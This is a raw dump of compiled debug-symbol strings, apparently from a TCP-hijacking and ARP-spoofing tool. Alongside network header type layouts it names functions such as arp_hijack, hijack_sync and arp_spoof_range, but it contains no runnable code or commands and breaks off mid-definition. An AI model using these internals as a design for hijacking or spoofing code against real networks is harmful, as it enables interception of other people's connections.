:T(41,2)=eSS_ONSTACK:1,SS_DISABLE:2,;sigaltstack:T(41,3)=s12ss_sp:(6,2),0,32;ss_flags:(0,1),32,32;\ss_size:(5,1),64,32;;stack_t:t(41,4)=(41,3)socklen_t:t(53,1)=(0,4)__socket_type:T(53,2)=eSOCK_STREAM:1,SOCK_DGRAM:2,\sockaddr:T(53,3)=s16sa_family:(55,1),0,16;sa_data:(53,4)=ar(0,1);0;13;(0,2),16,112;; :T(53,5)=eMSG_OOB:1,MSG_PEEK:2,MSG_DONTROUTE:4,\msghdr:T(53,6)=s28msg_name:(6,2),0,32;msg_namelen:(53,1),32,32;\msg_iov:(53,7)=*(53,8)=xsiovec:,64,32;msg_iovlen:(5,1),96,32;\msg_control:(6,2),128,32;msg_controllen:(5,1),160,32;\cmsghdr:T(53,9)=s12cmsg_len:(5,1),0,32;cmsg_level:(0,1),32,32;\cmsg_type:(0,1),64,32;__cmsg_data:(53,10)=ar(0,1);0;-1;(0,11),96,0;; :T(53,11)=eSCM_RIGHTS:1,SCM_CREDENTIALS:2,__SCM_CONNECT:3,;ucred:T(53,12)=s12pid:(17,15),0,32;uid:(17,14),32,32;\gid:(17,11),64,32;;linger:T(53,13)=s8l_onoff:(0,1),0,32;l_linger:(0,1),32,32;;/usr/include/sys/ioctl.h/usr/include/bits/ioctls.h/usr/include/asm/ioctls.h/usr/include/asm/ioctl.h/usr/include/bits/ioctl-types.hwinsize:T(63,1)=s8ws_row:(0,9),0,16;ws_col:(0,9),16,16;\ws_xpixel:(0,9),32,16;ws_ypixel:(0,9),48,16;;termio:T(63,2)=s18c_iflag:(0,9),0,16;c_oflag:(0,9),16,16;\c_cflag:(0,9),32,16;c_lflag:(0,9),48,16;c_line:(0,11),64,8;\c_cc:(63,3)=ar(0,1);0;7;(0,11),72,64;;/usr/include/sys/ttydefaults.hether_addr:T(65,1)=s6ether_addr_octet:(65,2)=ar(0,1);0;5;(17,28),0,48;;ether_header:T(65,3)=s14ether_dhost:(65,2),0,48;ether_shost:(65,2),48,48;\ether_type:(17,29),96,16;;/usr/include/net/if.h :T(67,1)=eIFF_UP:1,IFF_BROADCAST:2,IFF_DEBUG:4,\IFF_LOOPBACK:8,IFF_POINTOPOINT:16,IFF_NOTRAILERS:32,\IFF_RUNNING:64,IFF_NOARP:128,IFF_PROMISC:256,\IFF_ALLMULTI:512,IFF_MASTER:1024,IFF_SLAVE:2048,\IFF_MULTICAST:4096,IFF_PORTSEL:8192,IFF_AUTOMEDIA:16384,;ifaddr:T(67,2)=s40ifa_addr:(53,3),0,128;ifa_ifu:(67,3)=u16ifu_broadaddr:(53,3),0,128;\ifu_dstaddr:(53,3),0,128;;,128,128;ifa_ifp:(67,4)=*(67,5)=xsiface:,256,32;\ifa_next:(67,6)=*(67,2),288,32;;ifmap:T(67,7)=s16mem_start:(0,5),0,32;mem_end:(0,5),32,32;\base_addr:(0,9),64,16;irq:(0,11),80,8;dma:(0,11),88,8;\port:(0,11),96,8;;ifreq:T(67,8)=s32ifr_ifrn:(67,9)=u16ifrn_name:(67,10)=ar(0,1);0;15;(0,2),0,128;;,0,128;\ifr_ifru:(67,11)=u16ifru_addr:(53,3),0,128;ifru_dstaddr:(53,3),0,128;\ifru_broadaddr:(53,3),0,128;ifru_netmask:(53,3),0,128;\ifru_hwaddr:(53,3),0,128;ifru_flags:(0,8),0,16;\ifru_ivalue:(0,1),0,32;ifru_mtu:(0,1),0,32;\ifru_map:(67,7),0,128;ifru_slave:(67,10),0,128;\ifru_data:(7,34),0,32;;,128,128;;ifconf:T(67,12)=s8ifc_len:(0,1),0,32;ifc_ifcu:(67,13)=u4ifcu_buf:(7,34),0,32;\ifcu_req:(67,14)=*(67,8),0,32;;,32,32;;if_nameindex:T(67,15)=s8if_index:(0,4),0,32;if_name:(7,35),32,32;;/usr/include/net/if_packet.hsockaddr_pkt:T(68,1)=s18spkt_family:(55,1),0,16;spkt_device:(51,2),16,112;\spkt_protocol:(0,9),128,16;; :T(69,1)=eIPPROTO_IP:0,IPPROTO_HOPOPTS:0,IPPROTO_ICMP:1,\ :T(69,2)=eIPPORT_ECHO:7,IPPORT_DISCARD:9,IPPORT_SYSTAT:11,\in_addr:T(69,3)=s4s_addr:(70,3),0,32;;in6_addr:T(69,4)=s16in6_u:(69,5)=u16u6_addr8:(69,6)=ar(0,1);0;15;(70,1),0,128;\u6_addr16:(69,7)=ar(0,1);0;7;(70,2),0,128;u6_addr32:(69,8)=ar(0,1);0;3;(70,3),0,128;\u6_addr64:(69,9)=ar(0,1);0;1;(70,4),0,128;;,0,128;;sockaddr_in:T(51,15)=s16sin_family:(55,1),0,16;sin_port:(70,2),16,16;\sin_addr:(69,3),32,32;sin_zero:(63,3),64,64;;sockaddr_in6:T(51,17)=s24sin6_family:(55,1),0,16;sin6_port:(70,2),16,16;\sin6_flowinfo:(70,3),32,32;sin6_addr:(69,4),64,128;;ipv6_mreq:T(69,10)=s20ipv6mr_multiaddr:(69,4),0,128;ipv6mr_interface:(0,4),128,32;;in6_pktinfo:T(69,11)=s20ipi6_addr:(69,4),0,128;ipi6_ifindex:(0,4),128,32;;arphdr:T(76,1)=s8ar_hrd:(0,9),0,16;ar_pro:(0,9),16,16;\arpreq:T(76,2)=s68arp_pa:(53,3),0,128;arp_ha:(53,3),128,128;\arp_flags:(0,1),256,32;arp_netmask:(53,3),288,128;\arp_dev:(67,10),416,128;;arpreq_old:T(76,3)=s52arp_pa:(53,3),0,128;arp_ha:(53,3),128,128;\arp_flags:(0,1),256,32;arp_netmask:(53,3),288,128;;arpd_request:T(76,4)=s28req:(0,9),0,16;ip:(17,30),32,32;\ha:(76,5)=ar(0,1);0;6;(0,11),160,56;;ether_arp:T(75,1)=s28ea_hdr:(76,1),0,64;arp_sha:(65,2),64,48;\arp_spa:(75,2)=ar(0,1);0;3;(17,28),112,32;arp_tha:(65,2),144,48;\arp_tpa:(75,2),192,32;;timestamp:T(77,1)=s40len:(17,28),0,8;ptr:(17,28),8,8;\flags:(0,4),16,4;overflow:(0,4),20,4;data:(77,2)=ar(0,1);0;8;(17,30),32,288;;ip_options:T(77,3)=s12faddr:(17,30),0,32;optlen:(17,28),32,8;\srr:(17,28),40,8;rr:(17,28),48,8;ts:(17,28),56,8;\router_alert:(17,28),72,8;__pad1:(17,28),80,8;\__pad2:(17,28),88,8;__data:(77,4)=ar(0,1);0;-1;(17,28),96,0;;iphdr:T(77,5)=s20ihl:(0,4),0,4;version:(0,4),4,4;\tos:(17,28),8,8;tot_len:(17,29),16,16;id:(17,29),32,16;\frag_off:(17,29),48,16;ttl:(17,28),64,8;protocol:(17,28),72,8;\check:(17,29),80,16;saddr:(17,30),96,32;daddr:(17,30),128,32;;ip:T(77,6)=s20ip_hl:(0,4),0,4;ip_v:(0,4),4,4;\ip_tos:(17,28),8,8;ip_len:(17,2),16,16;ip_id:(17,2),32,16;\ip_off:(17,2),48,16;ip_ttl:(17,28),64,8;ip_p:(17,28),72,8;\ip_sum:(17,2),80,16;ip_src:(69,3),96,32;ip_dst:(69,3),128,32;;ip_timestamp:T(77,7)=s40ipt_code:(17,28),0,8;ipt_len:(17,28),8,8;\ipt_ptr:(17,28),16,8;ipt_flg:(0,4),24,4;ipt_oflw:(0,4),28,4;\data:(77,2),32,288;;icmphdr:T(78,1)=s8type:(17,28),0,8;code:(17,28),8,8;\checksum:(17,29),16,16;un:(78,2)=u4echo:(78,3)=s4id:(17,29),0,16;\sequence:(17,29),16,16;;,0,32;gateway:(17,30),0,32;\frag:(78,4)=s4__unused:(17,29),0,16;mtu:(17,29),16,16;;,0,32;;,32,32;;icmp_ra_addr:T(78,5)=s8ira_addr:(17,30),0,32;ira_preference:(17,30),32,32;;ih_idseq:T(78,6)=s4icd_id:(17,29),0,16;icd_seq:(17,29),16,16;;ih_pmtu:T(78,7)=s4ipm_void:(17,29),0,16;ipm_nextmtu:(17,29),16,16;;ih_rtradv:T(78,8)=s4irt_num_addrs:(17,28),0,8;irt_wpa:(17,28),8,8;\irt_lifetime:(17,29),16,16;;icmp:T(78,9)=s28icmp_type:(17,28),0,8;icmp_code:(17,28),8,8;\icmp_cksum:(17,29),16,16;icmp_hun:(78,10)=u4ih_pptr:(17,1),0,8;\ih_gwaddr:(69,3),0,32;ih_idseq:(78,6),0,32;\ih_void:(17,30),0,32;ih_pmtu:(78,7),0,32;ih_rtradv:(78,8),0,32;;,32,32;\icmp_dun:(78,11)=u20id_ts:(78,12)=s12its_otime:(17,30),0,32;\its_rtime:(17,30),32,32;its_ttime:(17,30),64,32;;,0,96;\id_ip:(78,13)=s20idi_ip:(77,6),0,160;;,0,160;\id_radv:(78,5),0,64;id_mask:(17,30),0,32;id_data:(78,14)=ar(0,1);0;0;(17,28),0,8;;,64,160;;tcphdr:T(79,1)=s20source:(17,29),0,16;dest:(17,29),16,16;\seq:(17,30),32,32;ack_seq:(17,30),64,32;res1:(17,29),96,4;\doff:(17,29),100,4;fin:(17,29),104,1;syn:(17,29),105,1;\rst:(17,29),106,1;psh:(17,29),107,1;ack:(17,29),108,1;\urg:(17,29),109,1;res2:(17,29),110,2;window:(17,29),112,16;\check:(17,29),128,16;urg_ptr:(17,29),144,16;; :T(79,2)=eTCP_ESTABLISHED:1,TCP_SYN_SENT:2,TCP_SYN_RECV:3,\udphdr:T(80,1)=s8source:(17,29),0,16;dest:(17,29),16,16;\len:(17,29),32,16;check:(17,29),48,16;;list:T(96,1)=s64l_first:(6,2),0,32;l_last:(6,2),32,32;\l_iter:(96,2)=*(96,3)=xslist_iterator:,128,32;l_locked:(0,1),160,32;\l_mutex:(93,12),192,192;l_notempty:(93,7),384,96;\l_locked_thr:(93,17),480,32;;list_iterator:T(96,3)=s12i_list:(96,4)=*(96,1),0,32;\i_cur:(6,2),32,32;i_next:(96,2),64,32;;PACKET_TYPE:T(74,1)=ePACKET_NONE:0,PACKET_TCP:1,\packet:T(74,2)=s1656p_raw:(74,3)=ar(0,1);0;1513;(0,2),0,12112;\p_type:(74,1),12192,32;p_mutex:(93,12),12224,192;p_ethh:(74,4)=*(66,1),12416,32;\p_iph:(74,5)=*(77,5),12448,32;p_arph:(74,6)=*(76,1),12480,32;\p_hdr:(74,7)=u4p_tcph:(74,8)=*(79,1),0,32;p_udph:(74,9)=*(80,1),0,32;\p_icmph:(74,10)=*(78,1),0,32;;,12512,32;p_data_len:(0,1),12544,32;\p_data:(7,35),12576,32;p_timestamp:(18,1),12608,32;\p_next_free:(74,11)=*(74,2),12640,32;p_next:(74,12)=ar(0,1);0;7;(74,11),12672,256;\p_arg:(74,13)=ar(0,1);0;7;(6,2),12928,256;p_ipc:(0,1),13184,32;\p_ipc_arg:(6,2),13216,32;;ifunc:t(74,14)=(74,15)=*(74,16)=f(0,19)ifunc_item:T(74,17)=s28func:(74,14),0,32;arg:(6,2),32,32;\next_tcp:(74,18)=*(74,19)=xsifunc_list:,64,32;next_udp:(74,18),96,32;\next_icmp:(74,18),128,32;next_arp:(74,18),160,32;\next_ip:(74,18),192,32;;host_info:T(74,20)=s28next_seq:(0,5),0,32;next_d_seq:(0,5),32,32;\src_mac:(66,2),64,48;dst_mac:(66,2),112,48;window:(0,9),160,16;\conn_info:T(74,21)=s104src_addr:(0,5),0,32;dst_addr:(0,5),32,32;\src_port:(0,9),64,16;dst_port:(0,9),80,16;src:(74,20),96,224;\dst:(74,20),320,224;use_count:(0,1),544,32;update_count:(0,4),576,32;\ack_storm_notify_sec:(0,4),608,32;mutex:(93,12),640,192;;user_conn_info:T(74,22)=s12src_addr:(0,5),0,32;dst_addr:(0,5),32,32;\packet_info:T(74,23)=s44src_addr:(0,5),0,32;dst_addr:(0,5),32,32;\next:(74,24)=*(74,23),320,32;;arp_spoof_info:T(74,25)=s104src_fake_mac:(66,2),0,48;src_mac:(66,2),48,48;\dst_mac:(66,2),96,48;src_mac_valid:(0,1),160,32;\tj_refresh:(74,26)=*(74,27)=xstimejob:,448,32;tj_reply:(74,26),480,32;\next:(74,28)=*(74,25),512,32;lock_cond:(93,7),544,96;\mutex:(93,12),640,192;;arpeth_hdr:T(74,29)=s20ar_sha:(66,2),0,48;ar_sip:(74,30)=ar(0,1);0;3;(0,11),48,32;\ar_tha:(66,2),80,48;ar_tip:(74,30),128,32;;mac_info:T(74,31)=s32mac:(74,32)=ar(0,1);0;5;(0,2),0,48;\mutex:(93,12),64,192;;add_policy_info:T(74,33)=s156src_addr:(0,4),0,32;src_mask:(0,4),32,32;\dst_addr:(0,4),64,32;dst_mask:(0,4),96,32;src_ports:(74,34)=ar(0,1);0;16;(0,4),128,544;\dst_ports:(74,34),672,544;next:(74,35)=*(74,33),1216,32;;TTY_COLOR:T(74,36)=eCOLOR_BLACK:0,COLOR_RED:1,COLOR_GREEN:2,\resolv_item:T(74,37)=s36name:(7,35),0,32;put_timestamp:(18,1),32,32;\get_timestamp:(18,1),64,32;mutex:(93,12),96,192;;arp_dont_relay:T(74,38)=s16src_addr:(0,4),0,32;dst_addr:(0,4),32,32;\src_port:(0,9),64,16;dst_port:(0,9),80,16;next:(74,39)=*(74,38),96,32;;time_func:t(74,40)=(74,41)=*(74,42)=f(0,1)timejob:T(74,27)=s24j_func:(74,40),0,32;j_arg:(6,2),32,32;\j_arg_sec:(0,1),64,32;j_ts:(25,1),96,64;j_next:(74,43)=*(74,44)=xstime_job:,160,32;;tcp_spec:T(74,45)=s52saddr:(0,5),0,32;daddr:(0,5),32,32;\icmp_spec:T(74,46)=s32src_addr:(0,4),0,32;dst_addr:(0,4),32,32;\code:(0,8),144,16;un:(74,47)=u4idseq:(74,48)=s4id:(0,9),0,16;\data:(6,2),192,32;data_len:(0,1),224,32;;arp_spec:T(74,49)=s28src_mac:(7,35),0,32;dst_mac:(7,35),32,32;\tap:F(0,1)device:p(7,35)promisc_mode:p(0,1)ifr:(67,8)get_ifc_info:F(0,1)ifc_name:p(7,35)ip:p(0,20)=*(0,4)my_eth_mac:G(66,2)my_eth_ip:G(0,4)arphijack.cuser_arp_hijack:F(0,1)src_fake_mac:p(7,35)dst_fake_mac:p(7,35)input_mode:p(0,1)watch_tty_data:T(0,22)=s12src_fake_mac:(7,35),0,32;ci:(0,21),32,32;\input_mode:(0,1),64,32;;watch_tty:f(23,7)wtd:p(0,23)=*(0,22)buf:(0,24)=ar(0,1);0;255;(0,2)arp_hijack:F(0,1)src_fake_mac:r(7,35)dst_fake_mac:r(7,35)count_src:(0,1)thr_tty:(57,17)wtd:(0,22)user_arp_hijack_done:F(0,19)arp_hijack_done:F(0,19)asi_src:S(1,28)asi_dst:S(1,28)dont_relay:S(1,39)tty.c/usr/include/termios.h/usr/include/bits/termios.hcc_t:t(63,1)=(0,11)speed_t:t(63,2)=(0,4)tcflag_t:t(63,3)=(0,4)termios:T(63,4)=s60c_iflag:(63,3),0,32;c_oflag:(63,3),32,32;\c_cflag:(63,3),64,32;c_lflag:(63,3),96,32;c_line:(63,1),128,8;\c_cc:(63,5)=ar(0,1);0;31;(63,1),136,256;c_ispeed:(63,2),416,32;\c_ospeed:(63,2),448,32;;ttysavefd:S(0,1) :T(0,20)=eRESET:0,RAW:1,CBREAK:2,;ttystate:S(0,20)tty_cbreak:F(0,1)wait_for_chars:p(0,1)timer_dsec:p(0,1)wait_for_chars:r(0,1)timer_dsec:r(0,1)buf:(63,4)tty_raw:F(0,1)tty_reset:F(0,1)tty_atexit:F(0,19)save_termios:S(63,4)synchijack.cfunc_hijack_dst_sync:F(0,19)arg:p(0,20)=*(1,21)func_hijack_src_sync:F(0,19)user_hijack_sync:F(0,1)uci:p(0,21)=*(1,22)ci:r(0,20)suggest_sync_msg:f(7,35)first:p(0,1)count:V(0,1)old_count:V(0,1)m1:(0,22)=ar(0,1);0;4;(7,35)m2:(0,23)=ar(0,1);0;4;(7,35)hijack_sync_init_msg:f(0,19)ci:p(0,20)msg_len:r(0,1)buf:(0,24)=ar(0,1);0;127;(0,2)need_read_want_n:S(0,1)need_write_want_n:S(0,1)need_read_write_init:f(0,19)need_read_write_negative:f(0,19)buf:(0,25)=ar(0,1);0;1399;(0,2)need_write_positive:f(0,19)fin_msg:(0,27)=ar(0,1);0;511;(0,2)fin_msg_len:r(0,1)need_read_positive:f(0,19)f_hijack_sync:F(0,19)last_read_ack:V(0,4)dst_last_ack:V(0,4)w_data:r(7,35)ctrl_c_sync_handler:F(0,19)signr:p(0,1)hijack_sync:F(0,1)ifunc_f:(1,17)need_read:G(0,1)need_write:G(0,1)sync_was_canceled:G(0,1)f_sync_done:G(0,1)nw_was_negative:G(0,1)arpspoof.carp_spoof_range:T(0,20)=s40asi:(0,21)=*(1,28),0,32;asi_count:(0,1),32,32;\dst_start_addr:(0,4),64,32;dst_end_addr:(0,4),96,32;\src_addr:(0,4),128,32;src_fake_mac:(1,32),160,48;\refresh:(0,1),224,32;can_forward:(0,1),256,32;\l_arp_spoof:S(60,1)l_arp_dont_relay:S(60,1)l_arp_spoof_range:S(60,1)l_relay_pkt:S(60,1)relayer_running:S(0,1)arp_request_spoof_through_request:G(0,1)arp_rr_count:G(0,1)arp_spoof_switch:G(0,1)arp_spoof_with_my_mac:G(0,1)can_forward_question:G(0,1)mac_broadcast:G(18,2)mac_zero:G(18,2)send_src_spoof_to_dst:f(0,19)asi:p(1,28)asi:r(1,28)as_dst:(1,49)send_src_spoof_to_dst_through_request:f(0,19)ask_addr:p(0,4)ask_addr:r(0,4)arp_spoof_timejob:F(0,1)arg_sec:p(0,1)arg:r(23,7)mi_dst:r(0,23)=*(1,31)mi_src:r(0,23)func_arp:f(0,19)arph:r(1,6)arpethh:r(0,24)=*(1,29)get_asi:f(1,28)retval:r(1,28)get_arp_spoof:F(1,28)arp_dont_relay_insert:F(1,39)src_port:p(0,4)dst_port:p(0,4)src_port:r(0,4)dst_port:r(0,4)adr:r(1,39)arp_dont_relay_remove:F(0,19)adr:p(1,39)asi_want:f(0,19)asi_release:f(0,19)asi_wait_for_release:f(0,19)start_arp_spoof:F(1,28)refresh:p(0,1)can_forward:p(0,1)in_range:p(0,1)can_forward:r(0,1)tmp:r(1,28)tj:r(1,26)force_arp_spoof:F(0,19)stop_arp_spoof:F(0,19)asi_src_mac:(0,25)=*(0,11)func_relay:f(0,19)check_dont_relay:f(0,1)dont_relay:(0,1)print_relay_packet:f(0,19)label:p(38,3)print_mac:p(0,1)relay_modify_hook:f(0,19)p_new:p(1,11)arp_relay:f(23,7)p_new:r(1,11)asi_dst:r(1,28)found:(0,1)start_arp_relayer:f(0,1)stop_arp_relayer:f(0,1)print_arp_relayer_daemon:F(0,19)start_arp_spoof_range:f(0,1)asr:p(0,22)mi_src:(0,23)mi_dst:r(0,23)stop_arp_spoof_range:f(0,19)asr:r(0,22)arp_spoof_list_items:f(0,1)arp_spoof_range_list:f(0,1)buf:(0,27)=ar(0,1);0;511;(0,2)arp_spoof_add_item:f(0,19)dst_ip:r(0,4)src_fake_mac:(18,2)asi_src_in_dst:r(1,28)refresh:(0,1)can_forward:(0,1)arp_spoof_range_add:f(0,19)dst_start_ip:(0,4)dst_end_ip:(0,4)refresh:r(0,1)arp_spoof_count:f(0,1)arp_spoof_del_item:f(0,19)arp_spoof_range_del:f(0,19)arp_spoof_add_h:f(0,19)asi_src_in_dst:(1,28)asi_dst_in_src:r(1,28)dst_fake_mac:(18,2)buf:(0,30)=ar(0,1);0;511;(0,2)src_can_forward:(0,1)dst_can_forward:(0,1)arp_spoof_del_h:f(0,19)ip1:(0,4)ip2:r(0,4)do_test_or_refresh:f(0,19)arp_spoof_user_test:f(0,19)arp_spoof_range_user_test:f(0,19)range_test:r(0,1)arpspoof_menu:F(0,19)l_arpspoof_test:S(60,1)hunt_arpspoof_test:f(0,19)find_asi_dst_mac:f(0,1)error_label:p(7,35)error_label:r(7,35)arpspoof_test:F(0,1)timeout:(16,1)ifunc_pingtest:(1,17)user_arpspoof_test:F(0,1)mac_buf:(0,31)=ar(0,1);0;63;(0,2)run_arpspoof_intr:f(0,19)user_run_arpspoof_until_successed:F(0,1)run_arpspoof_until_successed:F(0,1)sa:(50,1)sa_old:(50,1)arpspoof_exit_check:F(0,1)ifunc_arp:S(1,17)relay_thr:S(57,17)ifunc_relay:S(1,17)run_arpspoof:S(0,1)hostup.cl_icmp_packet:S(60,1)l_arp_packet:S(60,1)host_up_info:T(0,20)=s28start_addr:(0,4),0,32;end_addr:(0,4),32,32;\up_ping:(0,21)=*(0,1),64,32;promisc_ping:(0,21),96,32;\up_arp:(0,21),128,32;promisc_arp:(0,21),160,32;\up_len:(0,4),192,32;;func_icmp_packet:f(0,19)func_arp_packet:f(0,19)hui:r(0,22)=*(0,20)perform_ping:f(0,19)hui:p(0,22)up:p(0,21)fake_mac:p(0,23)=*(0,11)m:r(0,24)=*(1,31)j:r(0,1)send_arp_message:f(0,19)perform_arp:f(0,19)fake_mac:p(0,23)j:(0,1)src_addr:(0,4)arpethh:(0,25)=*(1,29)list_host_up:f(0,19)hui:r(0,22)up:r(0,21)idx:r(0,4)list_host_promisc:f(0,19)promisc:p(0,21)promisc:r(0,21)host_up:F(0,19)start_ip_def:V(0,4)end_ip_def:V(0,4)start_ip:(0,4)ifunc_icmp:(1,17)ifunc_arp:(1,17)len:r(0,4)buf_mac:(0,26)=ar(0,1);0;511;(0,11)fake_mac:(18,2)addpolicy.cl_add_policy:G(60,1)conn_add_match:F(0,1)src_port:p(0,1)dst_port:p(0,1)src_port:(0,9)dst_port:r(0,9)api:r(1,35)conn_add_policy:F(0,1)tcph:p(1,8)add_telnet_rlogin_policy:F(0,19)addpolicy_item_print:f(0,19)api:p(1,35)buf_src_ports:(0,20)=ar(0,1);0;511;(0,2)buf_dst_ports:(0,21)=ar(0,1);0;511;(0,2)host_buf:(0,22)=ar(0,1);0;511;(0,2)addpolicy_list_items:F(0,19)addpolicy_add_item:F(0,19)src_ports:(0,23)=ar(0,1);0;16;(0,1)dst_ports:(0,24)=ar(0,1);0;16;(0,1)addpolicy_mod_item:F(0,19)src_ports:(0,25)=ar(0,1);0;16;(0,1)dst_ports:(0,26)=ar(0,1);0;16;(0,1)addpolicy_del_item:F(0,19)options.clines_o:G(0,1)list_conn_properties:f(0,19)mac:r(0,1)seq:r(0,1)suggest_mac_setup:f(0,19)buf:(0,20)=ar(0,1);0;127;(0,2)buf_mac:(18,2)print_host_properties:f(0,19)mac_learn_from_ip_opt:f(0,19)storm_reset_sec_setup:f(0,19)stormack_hijack_wait_sec_setup:f(0,19)arp_rr_count_setup:f(0,19)n:r(0,1)arp_request_spoof_through_request_setup:f(0,19)arp_spoof_switch_setup:f(0,19)arp_spoof_with_my_mac_setup:f(0,19)printed_lines_per_page:f(0,19)verbose_setup:f(0,19)lines_o_press_key:F(0,19)options_menu:F(0,19)buf_menu:(0,21)=ar(0,1);0;2047;(0,2)buf_mac:(0,22)=ar(0,1);0;127;(0,2)resolv.c/usr/include/sys/wait.h/usr/include/bits/waitflags.h__WAIT_STATUS:t(62,1)=(62,2)=u4__uptr:(62,3)=*(62,4)=xuwait:,0,32;\__iptr:(62,5)=*(0,1),0,32;;/usr/include/bits/waitstatus.hwait:T(62,4)=u4w_status:(0,1),0,32;__wait_terminated:(64,1)=s4__w_termsig:(0,4),0,7;\__w_coredump:(0,4),7,1;__w_retcode:(0,4),8,8;\:(0,4),16,16;;,0,32;__wait_stopped:(64,2)=s4__w_stopval:(0,4),0,8;\__w_stopsig:(0,4),8,8;:(0,4),16,16;;,0,32;; :T(62,6)=eP_ALL:0,P_PID:1,P_PGID:2,;idtype_t:t(62,7)=(62,6)hl_mode:G(0,1)req:T(0,20)=s8ip:(0,4),0,32;next:(0,21)=*(0,20),32,32;;res:T(0,22)=s12err:(0,1),0,32;ip:(0,4),32,32;\name_len:(0,1),64,32;name:(0,23)=ar(0,1);0;-1;(0,2),96,0;;slave:T(0,24)=s24s_req:(0,20),0,64;s_timestamp:(9,1),64,32;\s_pid:(6,16),96,32;s_fd:(0,1),128,32;s_next:(0,25)=*(0,24),160,32;;fd_req:S(0,1)pid_req:S(6,16)pid_parent:S(6,16)resolv_remove:F(0,19)r:r(0,26)=*(1,37)resolv_put:F(0,19)name:p(38,3)name:r(38,3)r:r(0,26)resolv_get:F(0,26)resolv_release:F(0,19)r:p(0,26)resolv_request:F(0,19)req:(0,20)check_interval:f(0,19)__time:p(0,1)__time:r(0,1)li:(61,7)ip:(0,4)update_thr:f(23,7)timeout:(41,1)rdset:(13,2)fd:(0,1)r:(0,22)__time:r(9,1)last_time_check:(9,1)__d0:r(0,1)__d1:r(0,1)__result:r(0,2)sig_slave_term:f(0,19)signum:p(0,1)resolv_slave:f(0,19)addr:(29,3)host_ent:r(0,28)=*(67,1)buf:(0,29)=ar(0,1);0;255;(0,2)res:r(0,30)=*(0,22)name:r(7,35)sig_term:f(0,19)send_req_to_slave:f(0,19)slaves:p(60,4)requests:p(60,4)sl:r(0,25)r:r(0,21)pipe:(7,32)remove_idle_slaves:f(0,19)slaves:r(60,4)cur_time:(9,1)cleanup_slaves:f(0,19)handle_response:f(0,19)sl:p(0,25)buf:(0,31)=ar(0,1);0;255;(0,2)res:r(0,30)resolv_daemon:f(0,19)slaves:(60,1)requests:(60,1)select_fd:(13,2)select_max:r(0,1)sl:(0,25)host_lookup:F(7,35)in:p(0,4)use_mode:p(0,1)in:r(0,4)use_mode:r(0,1)hostname_buf:V(0,32)=ar(0,1);0;511;(0,2)hostname_idx:V(0,1)host_ent:r(0,28)resolv_init:F(0,19)res_update_thr:(57,17)resolv_done:F(0,19)port_lookup:F(7,35)serv:p(0,1)serv:r(0,9)servname_buf:V(0,33)=ar(0,1);0;511;(0,2)servname_idx:V(0,1)name_buf:(0,34)=ar(0,1);0;63;(0,2)serv_ent:r(0,35)=*(67,3)service_lookup:F(0,9)name:p(7,35)serv_ent:r(0,35)ip_to_name_table:G(61,5)resolv_slave_run:S(0,1)resolv_daemon_run:S(0,1)timer.cu_char:t(23,1)=(7,1)u_short:t(23,2)=(7,2)u_int:t(23,3)=(7,3)u_long:t(23,4)=(7,4)quad_t:t(23,5)=(7,6)u_quad_t:t(23,6)=(7,5)fsid_t:t(23,7)=(7,30)loff_t:t(23,8)=(7,24)ino_t:t(23,9)=(7,20)dev_t:t(23,10)=(7,17)gid_t:t(23,11)=(7,19)mode_t:t(23,12)=(7,21)nlink_t:t(23,13)=(7,22)uid_t:t(23,14)=(7,18)pid_t:t(23,15)=(7,25)id_t:t(23,16)=(7,29)daddr_t:t(23,17)=(7,33)caddr_t:t(23,18)=(7,34)key_t:t(23,19)=(7,43)ulong:t(23,20)=(0,5)ushort:t(23,21)=(0,9)uint:t(23,22)=(0,4)int8_t:t(23,23)=(0,10)int16_t:t(23,24)=(0,8)int32_t:t(23,25)=(0,1)int64_t:t(23,26)=(0,6)u_int8_t:t(23,27)=(0,11)u_int16_t:t(23,28)=(0,9)u_int32_t:t(23,29)=(0,4)u_int64_t:t(23,30)=(0,7)register_t:t(23,31)=(0,1)blkcnt_t:t(23,32)=(7,45)fsblkcnt_t:t(23,33)=(7,47)fsfilcnt_t:t(23,34)=(7,49)ether_addr:T(34,1)=s6ether_addr_octet:(34,2)=ar(0,1);0;5;(23,27),0,48;;ether_header:T(34,3)=s14ether_dhost:(34,2),0,48;ether_shost:(34,2),48,48;\ether_type:(23,28),96,16;;arphdr:T(35,1)=s8ar_hrd:(0,9),0,16;ar_pro:(0,9),16,16;\arpreq:T(35,2)=s68arp_pa:(38,3),0,128;arp_ha:(38,3),128,128;\arp_flags:(0,1),256,32;arp_netmask:(38,3),288,128;\arp_dev:(35,3)=ar(0,1);0;15;(0,2),416,128;;arpreq_old:T(35,4)=s52arp_pa:(38,3),0,128;arp_ha:(38,3),128,128;\arp_flags:(0,1),256,32;arp_netmask:(38,3),288,128;;arpd_request:T(35,5)=s28req:(0,9),0,16;ip:(23,29),32,32;\ha:(35,6)=ar(0,1);0;6;(0,11),160,56;;ether_arp:T(22,1)=s28ea_hdr:(35,1),0,64;arp_sha:(34,2),64,48;\arp_spa:(22,2)=ar(0,1);0;3;(23,27),112,32;arp_tha:(34,2),144,48;\arp_tpa:(22,2),192,32;;timestamp:T(43,1)=s40len:(23,27),0,8;ptr:(23,27),8,8;\flags:(0,4),16,4;overflow:(0,4),20,4;data:(43,2)=ar(0,1);0;8;(23,29),32,288;;ip_options:T(43,3)=s12faddr:(23,29),0,32;optlen:(23,27),32,8;\srr:(23,27),40,8;rr:(23,27),48,8;ts:(23,27),56,8;\router_alert:(23,27),72,8;__pad1:(23,27),80,8;\__pad2:(23,27),88,8;__data:(43,4)=ar(0,1);0;-1;(23,27),96,0;;iphdr:T(43,5)=s20ihl:(0,4),0,4;version:(0,4),4,4;\tos:(23,27),8,8;tot_len:(23,28),16,16;id:(23,28),32,16;\frag_off:(23,28),48,16;ttl:(23,27),64,8;protocol:(23,27),72,8;\check:(23,28),80,16;saddr:(23,29),96,32;daddr:(23,29),128,32;;ip:T(43,6)=s20ip_hl:(0,4),0,4;ip_v:(0,4),4,4;\ip_tos:(23,27),8,8;ip_len:(23,2),16,16;ip_id:(23,2),32,16;\ip_off:(23,2),48,16;ip_ttl:(23,27),64,8;ip_p:(23,27),72,8;\ip_sum:(23,2),80,16;ip_src:(44,3),96,32;ip_dst:(44,3),128,32;;ip_timestamp:T(43,7)=s40ipt_code:(23,27),0,8;ipt_len:(23,27),8,8;\ipt_ptr:(23,27),16,8;ipt_flg:(0,4),24,4;ipt_oflw:(0,4),28,4;\data:(43,2),32,288;;icmphdr:T(49,1)=s8type:(23,27),0,8;code:(23,27),8,8;\checksum:(23,28),16,16;un:(49,2)=u4echo:(49,3)=s4id:(23,28),0,16;\sequence:(23,28),16,16;;,0,32;gateway:(23,